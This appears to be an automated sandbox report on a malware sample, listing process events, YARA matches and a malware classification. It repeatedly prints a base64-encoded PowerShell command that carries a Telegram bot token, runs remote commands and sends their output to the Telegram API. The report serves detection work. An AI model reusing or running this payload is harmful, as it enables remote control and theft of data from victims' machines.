Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e JABUAG8AawBlAG4AIAA9ACAAIgA3ADUANQA0ADMAMAA3ADYANgA5ADoAQQBBAEUAXwBsAG4AUQBUAFkAUwBYAHYAdQBzAGEASwBsAGsAcABOAHIAdgAyAEQAdgBZAHUAQwA3AEgAaABJADAAcwAwACIADQAKACQAVQBSAEwAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AYQBwAGkALgB0AGUAbABlAGcAcgBhAG0ALgBvAHIAZwAvAGIAbwB0AHsAMAB9ACIAIAAtAGYAIAAkAFQAbwBrAGUAbgANAAoAJABsAGEAcwB0AEkARAAgAD0AIAAxADIAMwANAAoAJABzAGwAZQBlAHAAVABpAG0AZQAgAD0AIAAyAA0ACgAkAGkAZABlAG4AdABpAGYAaQBlAHIAIAA9ACAALQBqAG8AaQBuACAAKAAoADQAOAAuAC4ANQA3ACkAIAB8ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AQwBvAHUAbgB0ACAANQAgAHwAIAAlACAAewBbAGMAaABhAHIAXQAkAF8AfQApAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAASQBuAHYAbwBrAGUALQBCAG8AdABDAG0AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACAAKAANAAoAIAAgACAAIAAgACAAIAAgACQAYwBvAG0AbQBhAG4AZAANAAoAIAAgACAAIAApAA0ACgAgACAAIAAgAHQAcgB5ACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAcgBlAHMAdQBsAHQAIAA9ACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACgAJABjAG8AbQBtAGEAbgBkACkADQAKACAAIAAgACAAfQANAAoAIAAgACAAIABjAGEAdABjAGgAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAJAByAGUAcwB1AGwAdAAgAD0AIAAkAEUAcgByAG8AcgBbADAAXQAuAEUAeABjAGUAcAB0AGkAbwBuAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAJAByAGUAcwAgAD0AIAAiAFsAJABpAGQAZQBuAHQAaQBmAGkAZQByAF0AJQAwAEQAJQAwAEEAIgANAAoAIAAgACAAIAAkAHIAZQBzAHUAbAB0ACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAJAByAGUAcwAgACsAPQAgAFsAcwB0AHIAaQBuAGcAXQAkAF8AIAArACAAIgAlADAARAAlADAAQQAiAH0ADQAKAA0ACgAgACAAIAAgAGkAZgAoACQAcgBlAHMAIAAtAGUAcQAgACIAIgApAHsADQAKACAAIAAgACAAIAAgACAAIAAkAGwAYQBzAHQASQBEACAAPQAgACQAdQBwAGQAYQB0AGUAaQBkAA0ACgAgACAAIAAgACAAIAAgACAAYwBvAG4AdABpAG4AdQBlAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAaQBmACgAJAByAGUAcwAuAEwAZQBuAGcAdABoACAALQBnAHQAIAA0ADAAOQA1ACkAewANAAoAIAAgACAAIAAgACAAIAAgAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHIAZQBzAC4ATABlAG4AZwB0AGgAIAAvACAANAAwADkANQA7ACAAJABpACsAKwApACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGUAZwBpAG4AIAA9ACAAJABpACAAKgAgADQAMAA5ADUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQAIAA9ACAAJABiAGUAZwBpAG4AIAArACAANAAwADkANAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACgAJABlAG4AZAAgAC0AZwB0ACAAJAByAGUAcwAuAEwAZQBuAGcAdABoACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkACAAPQAgACQAcgBlAHMALgBMAGUAbgBnAHQAaAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABkAGEAdABhACAAPQAgACIAYwBoAGEAdABfAGkAZAA9ACQAZgByAG8AbQAmAHQAZQB4AHQAPQAiACAAKwAgACQAcgBlAHMAWwAkAGIAZQBnAGkAbgAuAC4AJABlAG4AZABdAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQAZABhAHQAYQAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABVAFIASQAgAD4AIAAkAG4AdQBsAGwADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgAH0AIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAZABhAHQAYQAgAD0AIAAiAGMAaABhAHQAXwBpAGQAPQAkAGYAcgBvAG0AJgB0AGUAeAB0AD0AJAByAGUAcwAiACAADQAKACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQ
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e JABUAG8AawBlAG4AIAA9ACAAIgA3ADUANQA0ADMAMAA3ADYANgA5ADoAQQBBAEUAXwBsAG4AUQBUAFkAUwBYAHYAdQBzAGEASwBsAGsAcABOAHIAdgAyAEQAdgBZAHUAQwA3AEgAaABJADAAcwAwACIADQAKACQAVQBSAEwAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AYQBwAGkALgB0AGUAbABlAGcAcgBhAG0ALgBvAHIAZwAvAGIAbwB0AHsAMAB9ACIAIAAtAGYAIAAkAFQAbwBrAGUAbgANAAoAJABsAGEAcwB0AEkARAAgAD0AIAAxADIAMwANAAoAJABzAGwAZQBlAHAAVABpAG0AZQAgAD0AIAAyAA0ACgAkAGkAZABlAG4AdABpAGYAaQBlAHIAIAA9ACAALQBqAG8AaQBuACAAKAAoADQAOAAuAC4ANQA3ACkAIAB8ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AQwBvAHUAbgB0ACAANQAgAHwAIAAlACAAewBbAGMAaABhAHIAXQAkAF8AfQApAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAASQBuAHYAbwBrAGUALQBCAG8AdABDAG0AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACAAKAANAAoAIAAgACAAIAAgACAAIAAgACQAYwBvAG0AbQBhAG4AZAANAAoAIAAgACAAIAApAA0ACgAgACAAIAAgAHQAcgB5ACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAcgBlAHMAdQBsAHQAIAA9ACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACgAJABjAG8AbQBtAGEAbgBkACkADQAKACAAIAAgACAAfQANAAoAIAAgACAAIABjAGEAdABjAGgAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAJAByAGUAcwB1AGwAdAAgAD0AIAAkAEUAcgByAG8AcgBbADAAXQAuAEUAeABjAGUAcAB0AGkAbwBuAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAJAByAGUAcwAgAD0AIAAiAFsAJABpAGQAZQBuAHQAaQBmAGkAZQByAF0AJQAwAEQAJQAwAEEAIgANAAoAIAAgACAAIAAkAHIAZQBzAHUAbAB0ACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAJAByAGUAcwAgACsAPQAgAFsAcwB0AHIAaQBuAGcAXQAkAF8AIAArACAAIgAlADAARAAlADAAQQAiAH0ADQAKAA0ACgAgACAAIAAgAGkAZgAoACQAcgBlAHMAIAAtAGUAcQAgACIAIgApAHsADQAKACAAIAAgACAAIAAgACAAIAAkAGwAYQBzAHQASQBEACAAPQAgACQAdQBwAGQAYQB0AGUAaQBkAA0ACgAgACAAIAAgACAAIAAgACAAYwBvAG4AdABpAG4AdQBlAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAaQBmACgAJAByAGUAcwAuAEwAZQBuAGcAdABoACAALQBnAHQAIAA0ADAAOQA1ACkAewANAAoAIAAgACAAIAAgACAAIAAgAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHIAZQBzAC4ATABlAG4AZwB0AGgAIAAvACAANAAwADkANQA7ACAAJABpACsAKwApACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGUAZwBpAG4AIAA9ACAAJABpACAAKgAgADQAMAA5ADUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQAIAA9ACAAJABiAGUAZwBpAG4AIAArACAANAAwADkANAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACgAJABlAG4AZAAgAC0AZwB0ACAAJAByAGUAcwAuAEwAZQBuAGcAdABoACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkACAAPQAgACQAcgBlAHMALgBMAGUAbgBnAHQAaAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABkAGEAdABhACAAPQAgACIAYwBoAGEAdABfAGkAZAA9ACQAZgByAG8AbQAmAHQAZQB4AHQAPQAiACAAKwAgACQAcgBlAHMAWwAkAGIAZQBnAGkAbgAuAC4AJABlAG4AZABdAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQAZABhAHQAYQAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABVAFIASQAgAD4AIAAkAG4AdQBsAGwADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgAH0AIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAZABhAHQAYQAgAD0AIAAiAGMAaABhAHQAXwBpAGQAPQAkAGYAcgBvAG0AJgB0AGUAeAB0AD0AJAByAGUAcwAiACAADQAKACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQ			Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: Process Memory Space: powershell.exe PID: 3084, type: MEMORYSTR

Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00007FF767EF28C0	0_2_00007FF767EF28C0
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00007FF767F0FEE8	0_2_00007FF767F0FEE8
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00007FF767F01894	0_2_00007FF767F01894
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00007FF767EFF824	0_2_00007FF767EFF824
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00007FF767F0000C	0_2_00007FF767F0000C
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00007FF767F02764	0_2_00007FF767F02764
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00007FF767F0AAE0	0_2_00007FF767F0AAE0
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00007FF767F08340	0_2_00007FF767F08340
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00007FF767F0DBA8	0_2_00007FF767F0DBA8
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00007FF767F09C78	0_2_00007FF767F09C78
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00007FF767F0C698	0_2_00007FF767F0C698
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00007FF767F0F84C	0_2_00007FF767F0F84C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B8AFB95	4_2_00007FFD9B8AFB95
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B8AFB0C	4_2_00007FFD9B8AFB0C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B8A7208	4_2_00007FFD9B8A7208
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B8AE758	4_2_00007FFD9B8AE758
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B973849	4_2_00007FFD9B973849
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B97418F	4_2_00007FFD9B97418F
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B973B9E	4_2_00007FFD9B973B9E

Source: C:\Users\user\Desktop\12.exe	Process created: Commandline size = 9483
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 9439
Source: C:\Users\user\Desktop\12.exe	Process created: Commandline size = 9483	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 9439	Jump to behavior

Source: Process Memory Space: powershell.exe PID: 3084, type: MEMORYSTR

Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal92.bank.evad.winEXE@22/48@0/2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\12.exe

File created: C:\Users\user\AppData\Local\Temp\file.pdf

Jump to behavior

Source: 12.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\12.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 12.exe	Virustotal: Detection: 16%
Source: 12.exe	ReversingLabs: Detection: 15%

Source: unknown	Process created: C:\Users\user\Desktop\12.exe "C:\Users\user\Desktop\12.exe"
Source: C:\Users\user\Desktop\12.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\/file.pdf'; powershell.exe -e 'JABUAG8AawBlAG4AIAA9ACAAIgA3ADUANQA0ADMAMAA3ADYANgA5ADoAQQBBAEUAXwBsAG4AUQBUAFkAUwBYAHYAdQBzAGEASwBsAGsAcABOAHIAdgAyAEQAdgBZAHUAQwA3AEgAaABJADAAcwAwACIADQAKACQAVQBSAEwAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AYQBwAGkALgB0AGUAbABlAGcAcgBhAG0ALgBvAHIAZwAvAGIAbwB0AHsAMAB9ACIAIAAtAGYAIAAkAFQAbwBrAGUAbgANAAoAJABsAGEAcwB0AEkARAAgAD0AIAAxADIAMwANAAoAJABzAGwAZQBlAHAAVABpAG0AZQAgAD0AIAAyAA0ACgAkAGkAZABlAG4AdABpAGYAaQBlAHIAIAA9ACAALQBqAG8AaQBuACAAKAAoADQAOAAuAC4ANQA3ACkAIAB8ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AQwBvAHUAbgB0ACAANQAgAHwAIAAlACAAewBbAGMAaABhAHIAXQAkAF8AfQApAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAASQBuAHYAbwBrAGUALQBCAG8AdABDAG0AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACAAKAANAAoAIAAgACAAIAAgACAAIAAgACQAYwBvAG0AbQBhAG4AZAANAAoAIAAgACAAIAApAA0ACgAgACAAIAAgAHQAcgB5ACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAcgBlAHMAdQBsAHQAIAA9ACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACgAJABjAG8AbQBtAGEAbgBkACkADQAKACAAIAAgACAAfQANAAoAIAAgACAAIABjAGEAdABjAGgAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAJAByAGUAcwB1AGwAdAAgAD0AIAAkAEUAcgByAG8AcgBbADAAXQAuAEUAeABjAGUAcAB0AGkAbwBuAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAJAByAGUAcwAgAD0AIAAiAFsAJABpAGQAZQBuAHQAaQBmAGkAZQByAF0AJQAwAEQAJQAwAEEAIgANAAoAIAAgACAAIAAkAHIAZQBzAHUAbAB0ACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAJAByAGUAcwAgACsAPQAgAFsAcwB0AHIAaQBuAGcAXQAkAF8AIAArACAAIgAlADAARAAlADAAQQAiAH0ADQAKAA0ACgAgACAAIAAgAGkAZgAoACQAcgBlAHMAIAAtAGUAcQAgACIAIgApAHsADQAKACAAIAAgACAAIAAgACAAIAAkAGwAYQBzAHQASQBEACAAPQAgACQAdQBwAGQAYQB0AGUAaQBkAA0ACgAgACAAIAAgACAAIAAgACAAYwBvAG4AdABpAG4AdQBlAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAaQBmACgAJAByAGUAcwAuAEwAZQBuAGcAdABoACAALQBnAHQAIAA0ADAAOQA1ACkAewANAAoAIAAgACAAIAAgACAAIAAgAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHIAZQBzAC4ATABlAG4AZwB0AGgAIAAvACAANAAwADkANQA7ACAAJABpACsAKwApACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGUAZwBpAG4AIAA9ACAAJABpACAAKgAgADQAMAA5ADUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQAIAA9ACAAJABiAGUAZwBpAG4AIAArACAANAAwADkANAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACgAJABlAG4AZAAgAC0AZwB0ACAAJAByAGUAcwAuAEwAZQBuAGcAdABoACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkACAAPQAgACQAcgBlAHMALgBMAGUAbgBnAHQAaAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABkAGEAdABhACAAPQAgACIAYwBoAGEAdABfAGkAZAA9ACQAZgByAG8AbQAmAHQAZQB4AHQAPQAiACAAKwAgACQAcgBlAHMAWwAkAGIAZQBnAGkAbgAuAC4AJABlAG4AZABdAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQAZABhAHQAYQAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABVAFIASQAgAD4AIAAkAG4AdQBsAGwADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgAH0AIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAZABhAHQAYQAgAD0AIAAiAGMAaABhAHQAXwBpAGQAPQAkAGYAcgBvAG0AJgB0AGUAeAB0AD0AJAByAGUAcwAiACAADQAKACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\file.pdf"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e JABUAG8AawBlAG4AIAA9ACAAIgA3ADUANQA0ADMAMAA3ADYANgA5ADoAQQBBAEUAXwBsAG4AUQBUAFkAUwBYAHYAdQBzAGEASwBsAGsAcABOAHIAdgAyAEQAdgBZAHUAQwA3AEgAaABJADAAcwAwACIADQAKACQAVQBSAEwAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AYQBwAGkALgB0AGUAbABlAGcAcgBhAG0ALgBvAHIAZwAvAGIAbwB0AHsAMAB9ACIAIAAtAGYAIAAkAFQAbwBrAGUAbgANAAoAJABsAGEAcwB0AEkARAAgAD0AIAAxADIAMwANAAoAJABzAGwAZQBlAHAAVABpAG0AZQAgAD0AIAAyAA0ACgAkAGkAZABlAG4AdABpAGYAaQBlAHIAIAA9ACAALQBqAG8AaQBuACAAKAAoADQAOAAuAC4ANQA3ACkAIAB8ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AQwBvAHUAbgB0ACAANQAgAHwAIAAlACAAewBbAGMAaABhAHIAXQAkAF8AfQApAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAASQBuAHYAbwBrAGUALQBCAG8AdABDAG0AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACAAKAANAAoAIAAgACAAIAAgACAAIAAgACQAYwBvAG0AbQBhAG4AZAANAAoAIAAgACAAIAApAA0ACgAgACAAIAAgAHQAcgB5ACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAcgBlAHMAdQBsAHQAIAA9ACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACgAJABjAG8AbQBtAGEAbgBkACkADQAKACAAIAAgACAAfQANAAoAIAAgACAAIABjAGEAdABjAGgAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAJAByAGUAcwB1AGwAdAAgAD0AIAAkAEUAcgByAG8AcgBbADAAXQAuAEUAeABjAGUAcAB0AGkAbwBuAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAJAByAGUAcwAgAD0AIAAiAFsAJABpAGQAZQBuAHQAaQBmAGkAZQByAF0AJQAwAEQAJQAwAEEAIgANAAoAIAAgACAAIAAkAHIAZQBzAHUAbAB0ACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAJAByAGUAcwAgACsAPQAgAFsAcwB0AHIAaQBuAGcAXQAkAF8AIAArACAAIgAlADAARAAlADAAQQAiAH0ADQAKAA0ACgAgACAAIAAgAGkAZgAoACQAcgBlAHMAIAAtAGUAcQAgACIAIgApAHsADQAKACAAIAAgACAAIAAgACAAIAAkAGwAYQBzAHQASQBEACAAPQAgACQAdQBwAGQAYQB0AGUAaQBkAA0ACgAgACAAIAAgACAAIAAgACAAYwBvAG4AdABpAG4AdQBlAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAaQBmACgAJAByAGUAcwAuAEwAZQBuAGcAdABoACAALQBnAHQAIAA0ADAAOQA1ACkAewANAAoAIAAgACAAIAAgACAAIAAgAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHIAZQBzAC4ATABlAG4AZwB0AGgAIAAvACAANAAwADkANQA7ACAAJABpACsAKwApACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGUAZwBpAG4AIAA9ACAAJABpACAAKgAgADQAMAA5ADUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQAIAA9ACAAJABiAGUAZwBpAG4AIAArACAANAAwADkANAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACgAJABlAG4AZAAgAC0AZwB0ACAAJAByAGUAcwAuAEwAZQBuAGcAdABoACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkACAAPQAgACQAcgBlAHMALgBMAGUAbgBnAHQAaAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABkAGEAdABhACAAPQAgACIAYwBoAGEAdABfAGkAZAA9ACQAZgByAG8AbQAmAHQAZQB4AHQAPQAiACAAKwAgACQAcgBlAHMAWwAkAGIAZQBnAGkAbgAuAC4AJABlAG4AZABdAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQAZABhAHQAYQAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABVAFIASQAgAD4AIAAkAG4AdQBsAGwADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgAH0AIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAZABhAHQAYQAgAD0AIAAiAGMAaABhAHQAXwBpAGQAPQAkAGYAcgBvAG0AJgB0AGUAeAB0AD0AJAByAGUAcwAiACAADQAKACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQ
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1636,i,11664794565421518283,13165857320494331314,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Users\user\Desktop\12.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\/file.pdf'; powershell.exe -e 'JABUAG8AawBlAG4AIAA9ACAAIgA3ADUANQA0ADMAMAA3ADYANgA5ADoAQQBBAEUAXwBsAG4AUQBUAFkAUwBYAHYAdQBzAGEASwBsAGsAcABOAHIAdgAyAEQAdgBZAHUAQwA3AEgAaABJADAAcwAwACIADQAKACQAVQBSAEwAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AYQBwAGkALgB0AGUAbABlAGcAcgBhAG0ALgBvAHIAZwAvAGIAbwB0AHsAMAB9ACIAIAAtAGYAIAAkAFQAbwBrAGUAbgANAAoAJABsAGEAcwB0AEkARAAgAD0AIAAxADIAMwANAAoAJABzAGwAZQBlAHAAVABpAG0AZQAgAD0AIAAyAA0ACgAkAGkAZABlAG4AdABpAGYAaQBlAHIAIAA9ACAALQBqAG8AaQBuACAAKAAoADQAOAAuAC4ANQA3ACkAIAB8ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AQwBvAHUAbgB0ACAANQAgAHwAIAAlACAAewBbAGMAaABhAHIAXQAkAF8AfQApAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAASQBuAHYAbwBrAGUALQBCAG8AdABDAG0AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACAAKAANAAoAIAAgACAAIAAgACAAIAAgACQAYwBvAG0AbQBhAG4AZAANAAoAIAAgACAAIAApAA0ACgAgACAAIAAgAHQAcgB5ACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAcgBlAHMAdQBsAHQAIAA9ACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACgAJABjAG8AbQBtAGEAbgBkACkADQAKACAAIAAgACAAfQANAAoAIAAgACAAIABjAGEAdABjAGgAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAJAByAGUAcw